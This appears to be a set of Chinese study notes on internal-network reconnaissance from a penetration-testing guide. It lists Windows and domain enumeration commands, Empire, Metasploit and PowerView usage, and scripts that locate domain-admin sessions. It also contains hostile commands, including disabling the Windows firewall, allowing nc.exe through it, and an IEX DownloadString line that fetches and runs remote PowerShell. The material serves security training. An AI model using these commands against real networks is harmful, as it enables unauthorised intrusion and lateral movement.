内网安全攻防:渗透测试指南——第2章内网信息收集
目录
3.Nishang 中的 Invoke-ARPScan.ps1 脚本
2.1.工作组手动信息收集
1.查询网络配置信息
-
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #查看系统信息
-
echo %PROCESSOR_ARCHITECTURE% #查看系统架构
-
wmic product get name,version #查看安装的软件版本,路径
-
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property
-
name,version" #powershell收集软件版本信息
8.查看用户
-
net user #查看本机用户列表
-
net localgroup administrators #获取本地管理员(通常含有域用户)信息
-
query user || qwinsta #查看当前在线用户
-
9.列出或断开本地计算机和连接的客户端的会话
net session
14.查询防火墙相关配置
-
(1)关闭防火墙
-
Windows Server 2003 系统及之前版本,命令如下。
-
netsh firewall set opmode disable
-
-
Windows Server 2003 之后系统版本,命令如下。
-
netsh advfirewall set allprofiles state off
-
-
(2)查看防火墙配置
-
netsh firewall show config
-
-
(3)修改防火墙配置
-
Windows Server 2003 系统及之前版本,允许指定程序全部连接,命令如下。
-
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
-
-
Windows Server 2003 之后系统版本,情况如下。
-
允许指定程序连入,命令如下。
-
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
-
-
允许指定程序连出,命令如下。
-
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
-
-
允许 3389 端口放行,命令如下。
-
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
-
-
(4)自定义防火墙日志储存位置
-
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
16.查询并开启远程连接服务
-
(1)查看远程连接端口
-
在cmd下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389
-
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
-
-
(2)在 Windows Server2003中开启3389端口
-
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
-
-
(3)在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
-
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
-
-
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
-
-
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2.2自动信息收集
2.Empire下的信息收集
-
(Empire: W12MRC5H) > usemodule situational_awareness/host/winenum
-
(Empire: powershell/situational_awareness/host/winenum) > execute
3.查询当前登录域及登录用户信息
net config workstation ##工作站域DNS名称显示域名(如果显示为 WORKGROUP,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录,此处表明当前用户是本地登录。
4.判断主域
net time /domain #执行如下命令,判断主域,一般域服务器都会同时作为时间服务器。
运行该命令后,一般会有如下三种情况。
1.存在域,但当前用户不是域用户,提示说明权限不够,如图
2.存在域,并且当前用户是域用户,如图 所示
3.当前网络环境为工作组,不存在域,如图 2-37 所示。
1 利用 NetBIOS 快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
vbs脚本
-
strSubNet = "192.168.1."
-
Set objFSO= CreateObject("Scripting.FileSystemObject")
-
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
-
For i = 1 To 254
-
strComputer = strSubNet & i
-
blnResult = Ping(strComputer)
-
If blnResult = True Then
-
objTS.WriteLine strComputer & " is alived ! :) "
-
End If
-
Next
-
objTS.Close
-
WScript.Echo "All Ping Scan , All Done ! :) "
-
Function Ping(strComputer)
-
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
-
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where
-
Address='" & strComputer & "'")
-
For Each objItem In colItems
-
Select case objItem.StatusCode
-
Case 0
-
Ping = True
-
Case Else
-
Ping = False
-
End select
-
Exit For
-
Next
-
End Function
cscript c:\windows\temp\1.vbs
3 通过 ARP 扫描探测内网
1.arp脚本
2.EmpireEmpire 中的 arpsan 模块
-
(Empire: agents) > interact W91LA5G4
-
(Empire: W91LA5G4) > usemodule situational_awareness/network/arpscan
-
(Empire: powershell/situational_awareness/network/arpscan) > set Range 192.168.1.0-192.168.1.254
-
(Empire: powershell/situational_awareness/network/arpscan) > execute
3.Nishang 中的 Invoke-ARPScan.ps1 脚本
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\InvokeARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt
4 通过常规 TCP/UDP 端口扫描探测内网
-
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b
-
#ScanLine 是一款经典的端口扫描工具,Windows 全版本通用,体积小,仅使用单个文件,同时支持对 TCP/UDP 的端口扫描
2.S扫描器
-
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
-
#S 扫描器是早期的一种比较快速的端口扫描工具,特别适合运行在 Windows Sever2003 以下的平台上,支持大网段扫描
-
msf5 > use auxiliary/scanner/portscan/tcp
-
msf5 auxiliary(scanner/portscan/tcp) > show options
-
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.2
-
RHOSTS => 192.168.1.2
-
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
-
PORTS => 1-1024
-
msf5 auxiliary(scanner/portscan/tcp) > set THREADS 100
-
THREADS => 100
-
msf5 auxiliary(scanner/portscan/tcp) > run
4.powersploit扫描
1.powershell下执行
-
kali打开apache服务
-
root@kali:/usr/share/windows-resources/powersploit# cp -r /usr/share/windows-resources/powersploit/ /var/www/html/
-
root@kali:/usr/share/windows-resources/powersploit# service apache2 start
-
-
-
win7
-
PS C:\Users\Administrator> IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.131/powersploit/Recon/Invoke-Portscan.ps1")
-
PS C:\Users\Administrator> Invoke-Portscan -Hosts 192.168.1.0/24 -Ports "80,445,22,139,3389"
2.cmd窗口执行
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"
5.nishang端口扫描
6 端口 Banner 信息
在发现端口后,可以使用客户端连接工具或者 nc 连接,获取服务端的 Banner 信息。获取Banner 信息后,在漏洞库中查找对应 CVE 编号的 POC 、 EXP ,在 ExploitDB 、 Seebug 等平台上查 看相关的漏洞利用的工具,然后去验证漏洞是否存在。
相关漏洞的具体信息分析和共享,可以参考如下两个网站
exploit-db目录
2.7收集域内基础信息
1.查询域
net view /domain
2.查询此域内所有计算机
net view /domain:HELLO #通过查询得到的主机名来对主机角色进行初步判断
3.查询域内所有用户组列表
-
net group /domain
-
-
Domain Admins:域管理员组。
-
Domain Computers:域内机器。
-
Domain Controllers:域控制器。
-
Domain Guest:域访客组,权限较低。
-
Domain Users:域用户。
-
Enterprise Admins:企业系统管理员用户。
-
在默认情况下,Domain Admins 和 Enterprise Admins 对域内所有域控制器有完全控制权限。
4.查询所有域成员计算机列表
5.获取域密码信息
6.获取域信任信息
nltest /domain_trusts
2.8 查找域控制器
1.查看域内控制器的机器名
2.查看域控制器的主机名
2.9 获取域内的用户和管理员信息
1.向域控制器进行查询
2.获取域内用户详细信息
3.查看存在的用户
-
dsquery user
-
-
1 dsquery computer -查找目录中的计算机。
-
2 dsquery contact -查找目录中的联系人。
-
3 dsquery subnet -找目录中的子网。
-
4 dsquery group -查找目录中的组。
-
5 dsquery ou -查找目录中的组织单位。
-
6 dsquery site -查找目录中的站点。
-
7 dsquery server -查找目录中的AD DC/LDS实例。
-
8 dsquery user -查找目录中的用户。
-
9 dsquery quota -查找目录中的配额规定。
-
10 dsquery partition -查找目录中的分区。
-
11 dsquery * -用通用的LDAP查询来查找目录中的任何对象。
4.查询域内置本地管理员组用户
net localgroup administrators /domain
2.10 定位域管理员
假设已经在 Windows 域中取得了普通用户权限,希望在域内横向移动,想知道域内用户登录的位置、他是否是任何系统中的本地管理员、他所归属的组、他是否有权访问文件共享等。枚举 主机、用户和组,有助于我们更好地了解域内布局。 常用的工具有 psloggedon.exe、pveFindADUser.exe、netsess.exe、hunter、NetView 等。在 PowerShell 中,常用的脚本是 PowerView。
1.psloggedon.exe
psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录,其原理是通过检验注册表里 HKEY_USERS 项的 key 值来查询谁登录过机器(同样调用了 NetSessionEnum API), 某些功能需要拥有管理员权限才能使用 。下载链接
-
psloggedon [-] [-l] [-x] [\\computername|username]
-
-
-:显示支持的选项和用于输出值的单位。
-
-l:仅显示本地登录,不显示本地和网络资源登录。
-
-x:不显示登录时间。
-
\\computername:指定要列出登录信息的计算机的名称。
-
Username:指定用户名,在网络中搜索该用户登录的计算机。
2.pveFindADUser.exe
-
pveFindADUser.exe <参数>
-
-h:显示帮助。
-
-u:检查是否有更新版本的实用程序。
-
-current [''username'']:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAIN\Username),则显示该用户登录的计算机。
-
-last [''username'']:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如果指定了用户名(DOMAIN\Username),则显示具有此用户账户作为上次登录的计算机。根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。
-
-noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
-
-target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主
-
机。如果指定此参数,则后跟一个由逗号分隔的主机名列表
-
-
-
pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账户。运行该工具的计算机需要具有.NET Framework 2.0,并且需要具有管理员权限。
3.netview.exe
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。同时,netview.exe 能够查询共享入口和有价值用户。netview.exe 的绝大部分功能不需要管理员权限即可执行,下载地址为 https://github.com/mubix/netview
-
netview.exe <参数>
-
-h:显示帮助菜单。
-
-f filename.txt:指定从中提取主机列表的文件。
-
-e filename.txt:指定要排除的主机名文件。
-
-o filename.txt:将所有输出重定向到文件。
-
-d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
-
-g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
-
-c:检查对已找到共享的访问权限。
4.Nmap 的 NSE 脚本
如果有域账户或者本地账户,就可以使用 Nmap 的 smb-enum-sessions.nse 引擎来获取远程机器的登录会话,并且不需要管理员权限。smb-enum-sessions.nse 的下载地址为 https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
-
smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、密码策略可以使用的用户等。 smb-enum-users.nse:在进行域渗透测试的时候,如果获取了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。 smb-enum-shares.nse:遍历远程主机的共目录。
-
smb-enum-processes.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙及杀毒软件。
-
smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登录。
-
smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间。
5.PowerView
-
C:\Users\Administrator\Downloads>powershell.exe -exec bypass -Command "& <Import-Module C:\powerview.ps1; Invoke-UserHunter>" #cmd未执行成功
-
PS C:\Users\Administrator\Downloads> .\powerview.ps1
-
PS C:\Users\Administrator\Downloads> Import-Module .\powerview.ps1
-
-
-
Invoke-StealthUserHunter :只需要一次查询,就可以获取域内的所有用户。从user.HomeDirectories 中提取所有用户,并对每个服务器进行 Get-NetSessions 获取。因为不需要使用 Invoke-UserHunter 对每台机器进行操作,所以这个方法的隐蔽性相对较高,但涉及的机器面不一定完整。默认使用 InvokeStealthUserHunter,如果找不到需要的信息,就
-
-
接着使用 Invoke-UserHunter 方法。
-
Invoke-UserHunter:找到域内特定的用户群。它接收用户名、用户列表或域组查询,并接收一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和 Get-NetLoggedon(调用 NetSessionEnum 和 NetWkstaUserEnum API)扫描每个服务器,而且会比较结果,筛选出目标用户集。使用这个工具是不需要管理员权限的。在本地绕过执行该脚本
-
(Empire: agents) > interact EHVMZDT8
-
(Empire: EHVMZDT8) > usemodule situational_awareness/network/powerview/user_hunter
-
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute
3.寻找是否有进程所有者为域管理员的进程
查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表交叉引用,从而找出域管理会话的系统列表。在这里,必须查询所有域控制器。
1.查询域控制器列表
net group "Domain Controllers" /domain #使用 LDAP 查询从 Domain Controllers 单元收集的域控制器的列表。也可以使用 net 命令查询域控制器列表
2.收集域管理员列表
使用 LDAP 进行查询。也可以使用 net 命令从域管理员组中收集域管理员列表,如下所示。
3.收集所有活动域会话列表
Netsess.exe –h #使用 Netsess.exe 查询每个域控制器,收集所有活动域会话列表。Netsess 是一个很棒的工具,它包含了本地Windows 函数 netsessionenum。该函数可以返回活动会 话的 IP 地址、域户、会话开始时间和空闲时间。
4.交叉引用域管理员列表与活动会话列表
-
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
-
-
type sessions.txt
-
-
将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并和 netsess.exe 放在同一个目录下。运行如下脚本后,会在当前目录下生成一个 sessions.txt 文本文件
如果渗透目标在域系统上使用共享本地管理员账户运行后,可以用下列脚本来扫描系统中的域管理任务。
-
net group "Domain Admins" /domain #先从“域管理员”组中收集域管理员的列表
-
-
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause #ips.txt 填入目标域系统的列表,在names.txt 填入收集来的域管理员的列表
2.11.4 扫描远程系统上 NetBIOS 信息
在一些 Windows 系统中,允许用户通过 NetBIOS 查询已登录用户。下面这个 Windows 命令行脚本将扫描远程系统活跃域管理会话。
同样,先收集域管理员列表,然后将目标域系统列表添加到 ips.txt 文件中,将收集到的域管 理员列表添加到 admins.txt 文件中,并置于同一目录下
-
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
-
-
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
-
#目标域系统列表添加到 ips.txt 文件中,将收集到的域管理员列表添加到 admins.txt 文件
2.12 模拟域管理员方法简介
如果有一个 meterpreter 会话,可以使用 Incognito 模拟域管理员,或添加一个新的域管理员。通过尝试遍历系统中所有可用的授权令牌来随意添加新的管理员。具体操作方法在第四章
1.powershell
-
Get-ExecutionPolicy 查看powershell权限
-
Set-ExecutionPolicy Unrestricted 设置权限
-
-
Restricted:默认设置,不允许执行任何脚本。
-
Allsigned:只能运行经过证书验证的脚本。
-
Unrestricted:权限最高,可以执行任意脚本。
-
RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。
2.PowerView
PowerView 是一款依赖 PowerShell 和 WMI 对内网域情况进行查询的常用渗透脚本
-
PowerView 中的常用命令如下。
-
Get-NetDomain:获取当前用户所在的域名称。
-
Get-NetUser:返回所有用户的详细信息。
-
Get-NetDomainController:获取所有域控制器。
-
Get-NetComputer:获取所有域内机器的详细信息。
-
Get-NetOU:获取域中的 OU 信息。
-
Get-NetGroup:获取所有域内组和组成员信息。
-
Get-NetFileServer:根据 SPN 获取当前域使用的文件服务器。
-
Get-NetShare:获取当前域内所有网络共享。
-
Get-NetSession:获取在指定服务器存在的会话信息。
-
Get-NetRDPSession:获取在指定服务器存在的远程连接信息。
-
Get-NetProcess:获取远程主机的进程信息。
-
Get-UserEvent:获取指定用户的日志信息。
-
Get-ADObject:获取活动目录的对象信息。
-
Get-NetGPO:获取域所有组策略对象。
-
Get-DomainPolicy:获取域默认或域控制器策略。
-
Invoke-UserHunter:用于获取域用户登录计算机及该用户是否有本地管理权限。
-
Invoke-ProcessHunter:查找域内所有机器进程用于找到某特定用户。
-
Invoke-UserEventHunter:根据用户日志获取某域用户登录过哪些域机器。